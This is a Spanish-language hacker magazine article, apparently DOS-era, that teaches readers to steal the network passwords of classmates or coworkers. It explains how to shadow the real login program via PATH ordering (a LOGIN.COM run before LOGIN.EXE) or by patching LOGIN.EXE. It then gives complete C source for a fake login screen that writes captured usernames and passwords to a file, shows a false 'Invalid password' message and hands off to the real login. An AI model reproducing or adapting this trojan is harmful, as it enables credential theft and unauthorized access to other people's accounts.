5 - PROGRAMACION DE UN TROYA ROBA CLAVES
POR Larsen Noise
Es posible que en tu universidad, instituto o trabajo, haya una red y no tengas acceso a todo y quieras conocer la clave de otra persona que lo tenga o simplemente saber las claves de los que trabajan contigo. Vamos a ver como hacer un programa que haga ver a los usuarios que estan entrando en la red cuando en realidad te estan dando su clave.
Este programa deberia cojer el nombre de la cuenta y la clave y guardarlas en un fichero asi podremos tener un acceso facil a esa cuenta.
Ejemplo de una entrada en una red normal:
**************************************************************************
**************************************************************************
* C:\>login *
* *
* Login: Alumno_45 *
* Password:XXXXXXX *
* *
* *
* BIENVENIDO AL SISTEMA INFORMATICO *
* UNIVERSIDAD DEL ESPACIO *
* EXTERIOR DEL SUR *
* *
* F:\>RED_NOV>cd .. *
* F:\> *
* *
* *
**************************************************************************
**************************************************************************
Normalmente el programa de entrada a la red(login)esta en una parte del disco duro al que tenemos acceso y hay una PATH con lo cual podemos ejecutar ese fichero desde cualquier lado, para interceptar las claves podemos hacer dos cosas:
- Como los programas LOGIN son de extension .EXE podemos crear nuestro programa LOGIN.COM (Recordando que no podemos superar las 64k) aprovechando que los programas de extension .COM se ejecutan antes que los .EXE, este programa puede ir en el directorio de red pero en algunas redes no resulta posible grabar en el servidor, exceptuando nuestro directorio y algunos de los que tenemos acceso. Con lo que no podriamos hacer esto no obstante podemos comprobarlo. Si no podemos, sencillamente lo grabariamos en nuestro disco duro en el Dos por ejemplo, aunque solo prodriamos conseguir las claves de los que accedieran a la red desde nuestro terminal. Tambien en un directorio del servidor al que tuvieramos acceso y que tuviera una PATH como nuestro directorio (crendo una PATH a este, si no la tuvieramos).
- Copiarnos el fichero LOGIN.EXE del directorio de la red modificarlo y volverlo a dejar donde estaba. Aunque tambien en este metodo debemos tener en cuenta lo mismo que en el anterior, acceso a directorios, PATH's etc...
El programa que viene a continuacion es un peque§o ejemplo de como deberia ser un programa que funcionara como el metodo 1.
Para el metodo dos habrÌa que hacer un programa determinado para cada LOGIN.
Espero que os sirva al menos como pie para haceros el vuestro.
--------------------------------------------------------------------------
/*TROYANO ROBA_CLAVES EN C POR Larsen Noise*/
#include<stdio.h>
#define lon 11 /*"lon" es la longitud de la palabra de acceso pudiendo
cambiar el tamaño dependiendo de el maximo de letras que
nos deje introducir el sistema*/
#define lon2 10 /*Tamaño de la cadena de caracteres de la cuenta*/
main(int cuen,char cuenta[]){
char pwd[lon],pw=NULL;
int i;
FILE *fp;
clrscr();
if(cuen!=2){
for(i=0;i!=lon2;i++)
cuenta[i]=NULL;
printf("Login: ");
for(i=0;pw!='\r';i++){
pw=getch();
cuenta[i]=pw;
printf("%c",pw);
} }
else{ for(i=0;cuenta[i]!=NULL;i++);
cuenta[i]='\r';
cuenta[i+1]=NULL; }
printf("\n");
for(i=0;i!=lon;i++)
pwd[i]=NULL;
pw=NULL;
printf("Password: ");
for(i=0;pw!='\r';i++){
pw=getch();
pwd[i]=pw;
if(pw=='\r')printf("\n");
else printf("X");}
/*Abrimos el fichero para guardar la cuenta y la password*/
if((fp=fopen("gua_cla.doc","ab"))==NULL)return;
else{
for(i=0;cuenta[i]!='\r';i++){
pw=cuenta[i];
putc(pw,fp); }
pw='-';
putc(pw,fp);
for(i=0;pwd[i]!='\r';i++){
pw=pwd[i];
putc(pw,fp); }
pw=' ';
putc(pw,fp);
fclose(fp); }
printf("\nInvalid password.");
/*Estas instrucciones ejecutan el LOGIN original*/
/*intruciendo el nombre de la cuenta directamente*/
system("login");
system(cuenta);
}
------------------------------------------------------------------------
HASTA OTRA :)